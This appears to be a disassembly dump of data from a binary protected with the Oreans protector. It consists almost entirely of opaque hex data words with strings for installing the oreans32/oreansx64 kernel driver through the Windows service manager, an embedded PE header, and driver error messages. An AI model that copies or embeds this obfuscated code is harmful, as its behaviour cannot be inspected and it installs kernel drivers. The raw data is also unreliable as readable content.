		dd 79132C06h, 1374254Ch, 3EB31268h, 2C78E02Ch, 0C64A3C10h
		dd 47EAF48Bh, 62786AEBh, 3D241F6Bh, 223C5BE4h, 451B4DD6h
		dd 2E421E8Eh, 0F48BC638h, 5CF915FCh, 61023A86h,	13023D89h
		dd 3, 811763AFh, 73241F6Bh, 6718135Fh, 801F2874h, 75221D69h
		dd 62150E5Ah, 7926216Dh, 6916115Dh, 7728236Fh, 7419125Eh
		dd 81E68956h, 4C6h, 4EE8300h, 5C243487h, 68240C89h, 606Eh
		dd 81240C89h, 4ECh, 243C8900h, 4CCF6853h, 0C15B0591h, 0F38108E3h
		dd 97066EF2h, 89DA8952h, 545B5AD1h, 83243C8Bh, 0B85004C4h
		dd 8, 8151F801h, 3ACF2404h, 8F477Ah, 3ACF2881h,	8B58477Ah
		dd 8953243Ch, 4C381E3h,	83000000h, 1C8704C3h, 0C8B5C24h
		dd 0E6895624h, 4C681h, 0C6830000h, 24348704h, 0D3B5E95Ch
		dd 1DE9FFFDh, 24D99E3Ch, 4AA921B8h, 0FFC50306h,	905C33E0h
		dd 5D619333h, 89B6A42Fh, 0BFC96C0Fh, 11FC015Eh,	82F26E49h
		dd 9574B766h, 0E614EA79h, 5592254Ah, 3CFA7228h,	0FC68919h
		dd 8DB5817Dh, 0E0AFB302h, 0DEACDE4Ch, 7CAEBD07h, 0A3590975h
		dd 425CE80Fh, 68CD3C77h, 77D6BB1Ah, 6734BE1Dh, 0EF79CA78h
		dd 0F3D5820Ah, 0E55D222Dh, 72E934h, 83600000h, 481509BDh
		dd 840F0006h, 5, 5DE9h,	80006A00h, 850F303Eh, 8, 0E946006Ah
		dd 35h,	0F333E80h, 885h, 46106A00h, 24E9h, 343E8000h, 8850Fh
		dd 306A0000h, 13E946h, 3E800000h, 8850F35h, 6A000000h
		dd 2E94640h, 6A000000h,	9D858D00h, 9006482Fh, 89509050h
		dd 6A2434h, 32D595FFh, 0C3610648h, 276D85C6h, 684D0648h
		dd 5A6BD6D2h, 0D6240481h, 0FF49C99Fh, 48205DB5h, 78858D06h
		dd 0FF064838h, 0D58589D0h, 0E9064832h, 0AAh, 74666F53h
		dd 65726177h, 6E69575Ch, 6563694Ch, 65736Eh, 63656843h
		dd 4E496Bh, 6F727058h, 69784574h, 68430074h, 4F6B6365h
		dd 57005455h, 694C6E69h, 736E6563h, 72655665h, 6E6F6973h
		dd 6E695700h, 6563694Ch, 4465736Eh, 65766972h, 72655672h
		dd 6E6F6973h, 6E695700h, 6563694Ch, 4965736Eh, 6174736Eh
		dd 65636Eh, 74697845h, 50006B4Fh, 49636F72h, 7250004Eh
		dd 554F636Fh, 78450054h, 4E497469h, 69784500h, 54554F74h
		dd 49705400h, 4Eh, 2 dup(0)
		dd 0AF7F0000h, 72F077DDh, 96E977DDh, 89000005h,	4AAB4F85h
		dd 4B858D06h, 50064AABh, 0AAB5858Dh, 6850064Ah,	80000001h
		dd 0AB5B95FFh, 196A064Ah, 0AB4FB5FFh, 16A064Ah,	858D006Ah
		dd 64AAAE4h, 4BB5FF50h,	0FF064AABh, 480C8995h, 4BB5FF06h
		dd 0FF064AABh, 4AAB5795h, 4BB5FF06h, 0FF064AABh, 482EE195h
		dd 8589C306h, 64AAB4Fh,	0AB4B858Dh, 8D50064Ah, 4AAAB585h
		dd 1685006h, 0FF800000h, 4AAB5B95h, 8D046A06h, 4AAB4F85h
		dd 46A5006h, 858D006Ah,	64AAB0Eh, 4BB5FF50h, 0FF064AABh
		dd 480C8995h, 4BB5FF06h, 0FF064AABh, 4AAB5795h,	4BB5FF06h
		dd 0FF064AABh, 482EE195h, 8589C306h, 64AAB4Fh, 0AB4B858Dh
		dd 8D50064Ah, 4AAAB585h, 1685006h, 0FF800000h, 4AAB5B95h
		dd 8D046A06h, 4AAB4F85h, 46A5006h, 858D006Ah, 64AAAF6h
		dd 4BB5FF50h, 0FF064AABh, 480C8995h, 4BB5FF06h,	0FF064AABh
		dd 4AAB5795h, 4BB5FF06h, 0FF064AABh, 482EE195h,	8589C306h
		dd 64AAB4Fh, 0AB4B858Dh, 8D50064Ah, 4AAAB585h, 1685006h
		dd 0FF800000h, 4AAB5B95h, 8D046A06h, 4AAB4F85h,	46A5006h
		dd 858D006Ah, 64AAB21h,	4BB5FF50h, 0FF064AABh, 480C8995h
		dd 4BB5FF06h, 0FF064AABh, 4AAB5795h, 4BB5FF06h,	0FF064AABh
		dd 482EE195h, 8589C306h, 64AAB4Fh, 0AB4B858Dh, 8D50064Ah
		dd 4AAAB585h, 1685006h,	0FF800000h, 4AAB5B95h, 8D046A06h
		dd 4AAB4F85h, 46A5006h,	858D006Ah, 64AAAD1h, 4BB5FF50h
		dd 0FF064AABh, 480C8995h, 4BB5FF06h, 0FF064AABh, 4AAB5795h
		dd 4BB5FF06h, 0FF064AABh, 482EE195h, 0BD83C306h, 6482A31h
		dd 0B840F00h, 8B000000h, 482A319Dh, 4CC38306h, 83C30389h
		dd 482A31BDh, 840F0006h, 0Bh, 2A319D8Bh, 0C3830648h, 0C3038950h
		dd 2A31BD83h, 0F000648h, 0B84h,	319D8B00h, 8306482Ah, 38954C3h
		dd 31BD83C3h, 6482Ah, 0B840Fh, 9D8B0000h, 6482A31h, 8958C383h
		dd 0BD83C303h, 6482A31h, 0B840F00h, 8B000000h, 482A319Dh
		dd 5CC38306h, 0C3C30389h, 4F858960h, 8D064AABh,	4AAB4B85h
		dd 858D5006h, 64AAAB5h,	16850h,	95FF8000h, 64AAB5Bh, 858D046Ah
		dd 64AAB4Fh, 6A046A50h,	46858D00h, 50064AABh, 0AB4BB5FFh
		dd 95FF064Ah, 6480C89h,	20E9BD83h, 0F000648h, 0C84h, 4BB5FF00h
		dd 0FF064AABh, 4AAB5795h, 4BB5FF06h, 0FF064AABh, 482EE195h
		dd 60C36106h, 0AB4F8589h, 858D064Ah, 64AAB4Bh, 0B5858D50h
		dd 50064AAAh, 168h, 5B95FF80h, 6A064AABh, 4F858D04h, 50064AABh
		dd 6A046Ah, 0AB28858Dh,	0FF50064Ah, 4AAB4BB5h, 8995FF06h
		dd 8306480Ch, 4820E9BDh, 840F0006h, 0Ch, 0AB4BB5FFh, 95FF064Ah
		dd 64AAB57h, 0AB4BB5FFh, 95FF064Ah, 6482EE1h, 8960C361h
		dd 4AAB4F85h, 4B858D06h, 50064AABh, 0AAB5858Dh,	6850064Ah
		dd 80000001h, 0AB5B95FFh, 46A064Ah, 0AB4F858Dh,	6A50064Ah
		dd 8D006A04h, 4AAB2F85h, 0B5FF5006h, 64AAB4Bh, 0C8995FFh
		dd 0BD830648h, 64820E9h, 0C840F00h, 0FF000000h,	4AAB4BB5h
		dd 5795FF06h, 0FF064AABh, 4AAB4BB5h, 0E195FF06h, 6106482Eh
		dd 858960C3h, 64AAB4Fh,	0AB4B858Dh, 8D50064Ah, 4AAAB585h
		dd 1685006h, 0FF800000h, 4AAB5B95h, 8D046A06h, 4AAB4F85h
		dd 46A5006h, 858D006Ah,	64AAB37h, 4BB5FF50h, 0FF064AABh
		dd 480C8995h, 0E9BD8306h, 64820h, 0C840Fh, 0B5FF0000h
		dd 64AAB4Bh, 0AB5795FFh, 0B5FF064Ah, 64AAB4Bh, 2EE195FFh
		dd 0C3610648h, 4F858960h, 8D064AABh, 4AAB4B85h,	858D5006h
		dd 64AAAB5h, 16850h, 95FF8000h,	64AAB5Bh, 858D046Ah, 64AAB4Fh
		dd 6A046A50h, 3E858D00h, 50064AABh, 0AB4BB5FFh,	95FF064Ah
		dd 6480C89h, 20E9BD83h,	0F000648h, 0C84h, 4BB5FF00h, 0FF064AABh
		dd 4AAB5795h, 4BB5FF06h, 0FF064AABh, 482EE195h,	60C36106h
		dd 0AB4F85C7h, 1064Ah, 858D0000h, 64AAB4Bh, 0B5858D50h
		dd 50064AAAh, 268h, 5B95FF80h, 0B064AABh, 0F840FC0h, 0C7000000h
		dd 4AAB4F85h, 6, 4DE900h, 46A0000h, 0AB4F858Dh,	6A50064Ah
		dd 8D006A04h, 4AAAC985h, 0B5FF5006h, 64AAB4Bh, 0C8995FFh
		dd 0C00B0648h, 0F840Fh,	85C70000h, 64AAB4Fh, 0
		dd 0AE9h, 4F85C700h, 1064AABh, 0FF000000h, 4AAB4BB5h, 0E195FF06h
		dd 6106482Eh, 0AB4F858Bh, 60C3064Ah, 0AB4F8589h, 858D064Ah
		dd 64AAB4Bh, 0B5858D50h, 50064AAAh, 168h, 5B95FF80h, 6A064AABh
		dd 4F858D04h, 50064AABh, 6A046Ah, 0AAC9858Dh, 0FF50064Ah
		dd 4AAB4BB5h, 8995FF06h, 8306480Ch, 4820E9BDh, 840F0006h
		dd 0Ch,	0AB4BB5FFh, 95FF064Ah, 64AAB57h, 0AB4BB5FFh, 95FF064Ah
		dd 6482EE1h, 8960C361h,	4AAB4F85h, 4B858D06h, 50064AABh
		dd 0AAB5858Dh, 6850064Ah, 80000001h, 0AB5B95FFh, 46A064Ah
		dd 0AB4F858Dh, 6A50064Ah, 8D006A04h, 4AAADB85h,	0B5FF5006h
		dd 64AAB4Bh, 0C8995FFh,	0BD830648h, 64820E9h, 0C840F00h
		dd 0FF000000h, 4AAB4BB5h, 5795FF06h, 0FF064AABh, 4AAB4BB5h
		dd 0E195FF06h, 6106482Eh, 6D85C6C3h, 52064827h,	0E47B0768h
		dd 2DB5FFADh, 0FF06482Ch, 48011195h, 5B858906h,	0C6064AABh
		dd 48276D85h, 0E5685206h, 0FF902E00h, 482C2DB5h, 1195FF06h
		dd 89064801h, 4AAB5785h, 6D85C606h, 52064827h, 0BF123568h
		dd 2DB5FFB9h, 0FF06482Ch, 48011195h, 89858906h,	0C606480Ch
		dd 48276D85h, 34685206h, 0FF987810h, 482C2DB5h,	1195FF06h
		dd 89064801h, 482EE185h, 6D85C606h, 52064827h, 5DBD468h
		dd 2DB5FFC0h, 0FF06482Ch, 48011195h, 0BD858906h, 0E8064813h
		dd 11h,	0B36AC2C5h, 17227A79h, 0F845C40Dh, 71DA5571h, 0C9815E07h
		dd 7D998B19h, 6176C681h, 8B660000h, 178FBAC6h, 0F2816FDAh
		dd 6FDA0F85h, 0E83FB560h, 0Eh, 0CA00F8BEh, 25FA454h, 0FEFC23D7h
		dd 0FE8D87Ch, 98000000h, 0E1140ED9h, 56E474EDh,	8EB7A245h
		dd 595BA5D8h, 0F3E8B61h, 288h, 81C58A00h, 48AE4C7h, 0DE858h
		dd 0AC300000h, 0FC88B654h, 81CDB06Dh, 0FAA270Fh, 28Dh
		dd 5959B700h, 5E3BEF81h, 5E83C6Bh, 31000000h, 8AAB1A55h
		dd 0BE9h, 0F7B2200h, 878EECF1h,	0FC5C079Ch, 91EF8158h
		dd 0E970DD9Bh, 5, 0CE710366h, 0E83E898Ah, 14h, 40177FC4h
		dd 4F748EDBh, 75BDF2E8h, 3A9AB52Ah, 0DFED5A6Eh,	0D1FED181h
		dd 815B3E37h, 5FDB05EEh, 0B70F602Ch, 3CC381C2h,	617D0F62h
		dd 0DB01C681h, 60602C5Fh, 47FCBE66h, 890Fh, 0E8610000h
		dd 9, 0C41B24A1h, 0D30466BBh, 6E99Fh, 142C0000h, 9025C0DFh
		dd 0F4A6158h, 1685h, 63BB6600h,	2CE9F3h, 8DFC0000h, 0CF63F17Ch
		dd 69592F1Fh, 81353549h, 0AC7220E0h, 0FF1BE946h, 2145FFFFh
		dd 6ABDD9F9h, 447DAA24h, 0FFDFD97Bh, 0ED5DB1E9h, 1EEB3AD8h
		dd 5C2E5C5Ch, 45434953h, 2E5C5C00h, 5749535Ch, 444956h
		dd 5C2E5C5Ch, 4349544Eh, 0C08B0045h, 0D1EE8166h, 0E9BD832Bh
		dd 64820h, 0BD830975h, 6482C61h, 50197400h, 0B8C08B53h
		dd 40Fh, 28A18589h, 9D8D0648h, 64AB02Ch, 585BD3FFh, 2C61BD83h
		dd 74000648h, 0B8535017h, 40Fh,	28A18589h, 9D8D0648h, 64AAD1Bh
		dd 585BD3FFh, 5F98D8Bh,	8B660648h, 0E9C08BF8h, 0Ah, 23B90261h
		dd 9D0A59FEh, 85C6A650h, 648276Dh, 18E98043h, 3568F08Bh
		dd 0E965FCAAh, 12h, 7D3364E1h, 18AA5153h, 0C9F2FC77h, 8856F1F9h
		dd 481071Ch, 91C4C724h,	68C0F56h, 81000000h, 0D06225DEh
		dd 21B5FF2Ch, 0E906482Ch, 7, 0A605EA97h, 8D6C5B85h, 48387885h
		dd 60FA8B06h, 1A959589h, 0D78A0648h, 29D0FF61h,	480085BDh
		dd 3FB25006h, 29240489h, 4810F19Dh, 6A006A06h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 20A1C357h, 1CB91509h, 0A1858946h, 0E806480Bh, 4, 80h
		dd 0C68B6660h, 25BF5061h, 8B6F23A5h, 8B042444h,	89008BF9h
		dd 0E8042444h, 14h, 3B6FC2E8h, 6B54CF72h, 0DD47C457h, 732F19E4h
		dd 0B140837h, 5F88B966h, 12E9585Eh, 6E000000h, 2AEE6CDBh
		dd 8881DCD0h, 856AA4C1h, 0C4C50617h, 9036ABDh, 481E058Dh
		dd 89006A06h, 482CCD8Dh, 60036A06h, 57C9BF0Fh, 12E8h, 0F8416700h
		dd 0D2376DADh, 285E826Eh, 0A501E571h, 5F60AAC9h, 868615Bh
		dd 817F89BBh, 44F82404h, 0B70F4076h, 0E99D8DFEh, 6A064AB2h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 0E410C352h, 0D2F207E2h, 4850FDBh,	66000000h
		dd 50A009BEh, 0EABA5250h, 0F5E8002h, 5AD3B631h,	241C8958h
		dd 0E981D0FFh, 329FF589h, 5F850F40h, 0F000002h,	1785h
		dd 12E900h, 9E930000h, 7372B7E6h, 9FD14C28h, 73F0020Eh
		dd 2A70E526h, 118D8B58h, 5006481Ah, 0F525060h, 8Bh, 0E9310F00h
		dd 13h,	0CCC21F4Ch, 750FBFBDh, 0A7B39804h, 0E01BD07Fh
		dd 5A6CEBBDh, 4EB96658h, 489617Dh, 6A26B124h, 0D5BD8900h
		dd 68064822h, 765EE752h, 3481CF8Bh, 5EE7D224h, 51006A76h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 0BCF261B5h, 36A10D4h, 246DB529h, 6A0648h, 0B3D8D29h
		dd 8D8B0648h, 6480DFDh,	6A036Ah, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 15629BC3h, 65DFBA66h
		dd 6C0CFD68h, 0EE886h, 0A950000h, 0F2573961h, 0DB74BA82h
		dd 452F7B02h, 8B665250h, 56310FD0h, 5E585A5Fh, 3240481h
		dd 0BA3993F3h, 460C780Ch, 0B2F29D8Dh, 6A064Ah, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 0B05527C3h, 9F121C45h, 50507959h, 7450BF52h,	310F2687h
		dd 840F5250h, 0
		dd 8E8310Fh, 0AC000000h, 0D8293EF9h, 5A9993F6h,	585A585Ah
		dd 0F241C89h, 0D0FFD0BFh, 30E18589h, 0F400648h,	10585h
		dd 3DB58B00h, 5806482Dh, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 15h, 75C35343h, 0F38B6666h, 6E990h, 5ACC0000h
		dd 59251B33h, 0A8C0F50h, 0F000000h, 483h, 0CCB96600h, 0B5899009h
		dd 648297Dh, 0F88B006Ah, 61A2E768h, 81C88B68h, 0A2672434h
		dd 958B6861h, 6481ECDh,	0EB8A036Ah, 8166006Ah, 0F7FBEEFh
		dd 580h, 0DA816600h, 36A1D72h, 68D6BF0Fh, 0CDF49CF2h, 19A314BEh
		dd 2434817Eh, 0DF49CF2h, 0B2C781F9h, 8D49EB06h,	4AB2FD9Dh
		dd 0A1858906h, 5006482Bh, 0AB95250h, 0F5A845Fh,	25BF6631h
		dd 89585A47h, 0CE8B241Ch, 2EDD8531h, 0D0FF0648h, 40D2BF0Fh
		dd 3C850Fh, 8D290000h, 6481011h, 0E9CB8B58h, 145h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 3DC35747h, 7A67A0h
		dd 1B29133Ch, 0F08B66EBh, 2E3DBD89h, 0D88B0648h, 664BD18Ah
		dd 3358FB8Bh, 4809958Dh, 6D85C606h, 43064827h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 74C35242h, 14A014FFh
		dd 11E919A3h, 0C7000000h, 80692EC3h, 0AEC4A064h, 0D869961Bh
		dd 66F62536h, 819D2950h, 59064805h, 66649268h, 81F38BA0h
		dd 0E6152404h, 10E9200Fh, 0B8000000h, 0A6EDEB3Ch, 9C81687Dh
		dd 3002CEF9h, 0FF42D426h, 482C21B5h, 0BD895006h, 6481F65h
		dd 78858D5Eh, 0FF064838h, 8E8D0h, 0E040000h, 0E799BA59h
		dd 0B589251Ah, 6480C49h, 8A60935Eh, 465BEDCh, 5061504Eh
		dd 75F81ABFh, 0B529936Eh, 64827C1h, 6AD0FFh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 10B99C3h
		dd 0A09C1293h, 0BD29F08Ch, 6480DBDh, 8DF98B66h,	486F779Dh
		dd 4880F06h, 66000000h,	81F489BEh, 0FFF3AAEFh, 1B86Ch
		dd 95890000h, 648003Dh,	5BD8529h, 0E3FF0648h, 0ABDE8166h
		dd 89C18B6Ch, 4808C1BDh, 0C08BF906h, 20E9BD83h,	75000648h
		dd 61BD8309h, 6482Ch, 53501974h, 0FB8C08Bh, 89000004h
		dd 48002185h, 939D8D06h, 0FF064AB0h, 83585BD3h,	482C61BDh
		dd 17740006h, 0FB85350h, 89000004h, 48002185h, 349D8D06h
		dd 0FF064AADh, 66585BD3h, 0F2612BFh, 284h, 8BCB8B00h, 12E8C0h
		dd 168E0000h, 9DADE8D0h, 13F2CEA9h, 0A79DCB87h,	950B6D39h
		dd 39F78166h, 0FC605970h, 81858951h, 5F064805h,	12C18161h
		dd 0B200005Eh, 1758B832h, 0FE8B0000h, 8589198Bh, 6480061h
		dd 0C740EB81h, 13E977AFh, 0BA000000h, 0F3327CF8h, 47ED32BEh
		dd 0CF85D22Ch, 0F6ADE321h, 0F381DD1Eh, 332FBD44h, 0F381F98Bh
		dd 7DB9199Ch, 38FEE681h, 8B533CB6h, 480DE9BDh, 0F018F06h
		dd 0E983FFBFh, 2A06BF04h, 0E8833390h, 11850F01h, 2B000000h
		dd 4827BDB5h, 22E906h, 0DDD00000h, 0B4C2F707h, 254DBD8Bh
		dd 8DE90648h, 90FFFFFFh, 0FB549F37h, 65AFC47Fh,	2E251E8Eh
		dd 6E188B7Bh, 20EE9h, 61433300h, 746F6E6Eh, 69727720h
		dd 6F206574h, 6E616572h, 78762E73h, 4D0D0A64h, 20656B61h
		dd 65727573h, 61687420h, 68742074h, 66207369h, 20656C69h
		dd 6E207369h, 6220746Fh, 676E6965h, 65737520h, 79622064h
		dd 6F6E6120h, 72656874h, 6F727020h, 6D617267h, 2Eh, 67h	dup(0)
		dd 724F5C00h, 736E6165h, 6478762Eh, 2 dup(0)
		dd 0E9000000h, 0EFh, 276D85C6h,	68470648h, 0E3E45B86h
		dd 2C21B5FFh, 858D0648h, 6483878h, 468D0FFh, 8D000001h
		dd 4801319Dh, 0D0FF5306h, 8AB58D50h, 8B064ABBh,	0AEC032FEh
		dd 0FFF9850Fh, 0FE2BFFFFh, 8B58CF8Bh, 0F3F803FBh, 6D85C6A4h
		dd 43064827h, 8E6EFC68h, 21B5FFBCh, 8D06482Ch, 48387885h
		dd 8DD0FF06h, 480131B5h, 68006A06h, 80h, 6A026Ah, 68006Ah
		dd 56C00000h, 0D88BD0FFh, 276D85C6h, 68570648h,	0A69BEE56h
		dd 2C21B5FFh, 858D0648h, 6483878h, 0BD8DD0FFh, 6482879h
		dd 0BCB08D8Dh, 6A064Ah,	37D06857h, 53510000h, 0C085D0FFh
		dd 1B850Fh, 0B58D0000h,	64AB992h, 0AA17858Dh, 0D0FF064Ah
		dd 6F778D8Dh, 0B80648h,	0FF000000h, 6D85C6E1h, 43064827h
		dd 764AA768h, 21B5FFC0h, 8D06482Ch, 48387885h, 53D0FF06h
		dd 0B9C3D0FFh, 37D0h, 0E8h, 0C0835800h,	0E908890Eh, 2
		dd 0D0E9C38Bh, 4D000037h, 300905Ah, 4000000h, 0FF000000h
		dd 0B80000FFh, 0
		dd 40000000h, 8	dup(0)
		dd 0B0000000h, 0E000000h, 0EBA1Fh, 21CD09B4h, 0CD4C01B8h
		dd 69685421h, 72702073h, 6172676Fh, 6163206Dh, 746F6E6Eh
		dd 20656220h, 206E7572h, 44206E69h, 6D20534Fh, 2E65646Fh
		dd 240A0D0Dh, 0
		dd 5D000000h, 19DB1D17h, 2 dup(19887376h), 0E5887376h
		dd 18886156h, 19887376h, 18887376h, 52887376h, 19686369h
		dd 887376h, 0
		dd 4C000000h, 45h, 2000000h, 400h, 0
		dd 14000380h, 5	dup(0)
		dd 0C0000002h, 90000001h, 0
		dd 7E000000h, 0
		dd 0C4000000h, 1000000h, 0DC000000h, 3 dup(0)
		dd 2C000000h, 38000001h, 1, 0
		dd 42000000h, 96000001h, 0D2000001h, 1,	0D2000000h, 1
		dd 0
		dd 14000010h, 0C0000000h, 10000037h, 0Dh dup(0)
		dd 0C0040000h, 27h, 45000000h, 1000020h, 14000000h, 4C000000h
		dd 444F43h, 100h, 200h,	300h, 400h, 500h, 600h,	700h, 800h
		dd 900h, 0A00h,	0B00h, 0C00h, 0D00h, 0E00h, 0F00h, 1000h
		dd 1100h, 1200h, 1300h,	8001400h, 4F525058h, 44585654h
		dd 1000000h, 3000103h, 2 dup(0)
		dd 13h dup(700h), 3C00h, 18000700h, 27600100h, 1AD0007h
		dd 7005001h, 1019100h, 27279Bh,	276F0106h, 17D0179h, 1850181h
		dd 18D0189h, 1750007h, 7279501h, 1017100h, 72798h, 7101016Bh
		dd 27h,	360h dup(0)
		dd 1000004h, 58000000h,	544F5250h, 445856h, 800000h, 8 dup(0)
		dd 76000000h, 50507265h, 31000000h, 32527376h, 33527376h
		dd 527376h, 9C3h dup(0)
		dd 83000000h, 0F8831BE8h, 0FF077309h, 8524h, 0C3F80000h
		dd 9 dup(0)
		dd 33C3C033h, 7E83C3C0h, 475000Ch, 1AEBC033h, 10C7E83h
		dd 58D1475h, 0
		dd 89187E8Bh, 2046C707h, 4, 0CC3C033h, 4F525058h, 44585654h
		dd 4244445Fh, 0E9000000h, 99h, 6775622Fh, 63656863h, 2F00326Bh
		dd 63677562h, 6B636568h, 6F662F00h, 72656372h, 2F006E75h
		dd 63677562h, 6B636568h, 6C6C7566h, 68732F00h, 6F63776Fh
		dd 2F006564h, 776F6873h, 65646F63h, 632F0032h, 74726Ch
		dd 7369642Fh, 732F0031h, 69776F68h, 6174736Eh, 65636Eh
		dd 7465672Fh, 74736C77h, 73757461h, 6F6C2F00h, 61747367h
		dd 737574h, 6D75642Fh, 61747370h, 737574h, 0
aCheckprotectio	db '/checkprotection',0
		align 4
		dd 5BD8300h, 64AF5h, 0A840Fh, 85C70000h, 6482C61h, 1, 276D85C6h
		dd 68470648h, 2BA63EDCh, 0B1240481h, 0FF64C72Dh, 482C21B5h
		dd 78858D06h, 0FF064838h, 8BD0FFD0h, 223F80F8h,	22850Fh
		dd 0B0470000h, 850FAE22h, 0FFFFFFF9h, 0F003F80h, 31B84h
		dd 3F804700h, 11840F00h, 0E9000003h, 1Eh, 0F003F80h, 30384h
		dd 203F8000h, 6850Fh, 0E9470000h, 6, 0FFE2E947h, 3F80FFFFh
		dd 5850F00h, 0E9000000h, 2E0h, 1E9h, 3F804700h,	0F6840F20h
		dd 80FFFFFFh, 850F003Fh, 5, 2C3E9h, 0AE800h, 0CBE90000h
		dd 0E9FFFFFFh, 2B4h, 0F485B58Dh, 25E8064Ah, 3000002h, 4AF51ABDh
		dd 1ABD8306h, 64AF5h, 0B840Fh, 85C70000h, 64820E9h, 1
		dd 90B58DC3h, 0E8064AF4h, 1FCh,	0F51ABD03h, 0BD83064Ah
		dd 64AF51Ah, 0B840F00h,	0C7000000h, 482C6185h, 106h, 0B58DC300h
		dd 64AF509h, 1D3E8h, 1ABD0300h,	83064AF5h, 4AF51ABDh, 840F0006h
		dd 0Bh,	150985C7h, 10648h, 8DC30000h, 4AF49AB5h, 1AAE806h
		dd 0BD030000h, 64AF51Ah, 0F51ABD83h, 0F00064Ah,	0B84h
		dd 6185C700h, 106482Ch,	0C3000000h, 0F4A4B58Dh,	81E8064Ah
		dd 3000001h, 4AF51ABDh,	1ABD8306h, 64AF5h, 15840Fh, 85C70000h
		dd 6482C61h, 1,	20E985C7h, 10648h, 8DC30000h, 4AF4B2B5h
		dd 14EE806h, 0BD030000h, 64AF51Ah, 0F51ABD83h, 0F00064Ah
		dd 0A84h, 0C585C700h, 106482Dh,	8D000000h, 4AF4BCB5h, 126E806h
		dd 0BD030000h, 64AF51Ah, 0F51ABD83h, 0F00064Ah,	0A84h
		dd 0C585C700h, 106482Dh, 8D000000h, 4AF4C7B5h, 0FEE806h
		dd 0BD030000h, 64AF51Ah, 0F51ABD83h, 0F00064Ah,	0A84h
		dd 5185C700h, 106482Fh,	8D000000h, 4AF4CDB5h, 0D6E806h
		dd 0BD030000h, 64AF51Ah, 0F51ABD83h, 0F00064Ah,	0A84h
		dd 0D985C700h, 1064827h, 8D000000h, 4AF4D3B5h, 0AEE806h
		dd 0BD030000h, 64AF51Ah, 0F51ABD83h, 0F00064Ah,	0A84h
		dd 0D585C700h, 106481Bh, 8D000000h, 4AF4E1B5h, 86E806h
		dd 0BD030000h, 64AF51Ah, 0F51ABD83h, 0F00064Ah,	0A84h
		dd 5585C700h, 1064828h,	8D000000h, 4AF4EEB5h, 5EE806h
		dd 0BD030000h, 64AF51Ah, 0F51ABD83h, 0F00064Ah,	0A84h
		dd 985C700h, 106481Ah, 8D000000h, 4AF4F9B5h, 36E806h, 0BD030000h
		dd 64AF51Ah, 0F51ABD83h, 0F00064Ah, 0A84h, 8D85C700h, 106482Ch
		dd 0E9000000h, 1, 203F8047h, 9840Fh, 3F800000h,	0ED850F00h
		dd 0C3FFFFFFh, 1B960h, 0DE8B0000h, 1CE9h, 3F8000h, 5850Fh
		dd 0B90000h, 8A000000h,	0F163817h, 284h, 46C92B00h, 3E8047h
		dd 8840Fh, 0C90B0000h, 0FFD3850Fh, 0C90BFFFFh, 21840Fh
		dd 3F800000h, 9840F00h,	80000000h, 850F203Fh, 0Ah, 1B9h
		dd 5E900h, 0B90000h, 0B000000h,	0D840FC9h, 2B000000h, 1AB589F3h
		dd 0E9064AF5h, 0Ah, 0F51A85C7h,	64Ah, 0C3610000h, 0A9E9C88Bh
		dd 41000010h, 50415644h, 2E323349h, 4C4C44h, 6E65704Fh
		dd 614D4353h, 6567616Eh, 43004172h, 74616572h, 72655365h
		dd 65636976h, 74530041h, 53747261h, 69767265h, 416563h
		dd 4E746547h, 76697461h, 73795365h, 496D6574h, 6F666Eh
		dd 6E65704Fh, 76726553h, 41656369h, 6C654400h, 53657465h
		dd 69767265h, 43006563h, 65736F6Ch, 76726553h, 48656369h
		dd 6C646E61h, 6F430065h, 6F72746Eh, 7265536Ch, 65636976h
		dd 8 dup(0)
		dd 65726F00h, 33736E61h, 79732E32h, 73h, 0
		dd 726F0000h, 736E6165h, 2E343678h, 737973h, 2 dup(0)
aOreans32	db 'oreans32',0
a_Oreans32	db '\\.\oreans32',0
a_GlobalOreans3	db '\\.\Global\oreans32',0
aOreansx64	db 'oreansx64',0
a_GlobalOreansx	db '\\.\Global\oreansx64',0
		align 4
		dd 41h dup(0)
		dd 53595300h, 524D4554h, 544F4Fh, 735C7325h, 65747379h
		dd 5C32336Dh, 76697264h, 5C737265h, 25007325h, 79735C73h
		dd 776F7773h, 645C3436h, 65766972h, 255C7372h, 73250073h
		dd 7379735Ch, 336D6574h, 72645C32h, 72657669h, 726F5C73h
		dd 736E6165h, 732E3233h, 7379h,	48h dup(0)
		dd 33000000h, 6E6E6143h, 5520746Fh, 74616470h, 726F2065h
		dd 736E6165h, 7379732Eh, 69726420h, 2E726576h, 656C5020h
		dd 2C657361h, 6B616D20h, 75732065h, 74206572h, 20746168h
		dd 20756F79h, 65766168h, 64610D0Ah, 696E696Dh, 61727473h
		dd 27726F74h, 65702073h, 74696D72h, 68742073h, 69662065h
		dd 20747372h, 656D6974h, 61687420h, 6F792074h, 72612075h
		dd 6F672065h, 20676E69h, 72206F74h, 74206E75h, 20736968h
		dd 676F7270h, 2E6D6172h, 59h dup(0)
		dd 33000000h, 6E6E6143h, 6F20746Fh, 206E6570h, 6165726Fh
		dd 762E736Eh, 64206478h, 65766972h, 4D202E72h, 20656B61h
		dd 65727573h, 61687420h, 726F2074h, 736E6165h, 6478762Eh
		dd 73690D0Ah, 746F6E20h, 65706F20h, 7962206Eh, 6F6E6120h
		dd 72656874h, 6F727020h, 6D617267h, 2Eh, 66h dup(0)
		dd 33000000h, 75636553h, 6E456572h, 656E6967h, 69726420h
		dd 20726576h, 6E6E6163h, 6220746Fh, 70752065h, 65746164h
		dd 65622064h, 73756163h, 68742065h, 20657265h, 20657261h
		dd 656D6F73h, 6F727020h, 6D617267h, 73752073h, 0A676E69h
		dd 2E74690Dh, 756F5920h, 65656E20h, 6F742064h, 6F6C6320h
		dd 74206573h, 65736F68h, 6F727020h, 6D617267h, 726F2073h
		dd 73657220h, 74726174h, 756F7920h, 6F632072h, 7475706Dh
		dd 0A2E7265h, 7365520Dh, 74726174h, 776F6E20h, 3Fh, 0D8h dup(0)
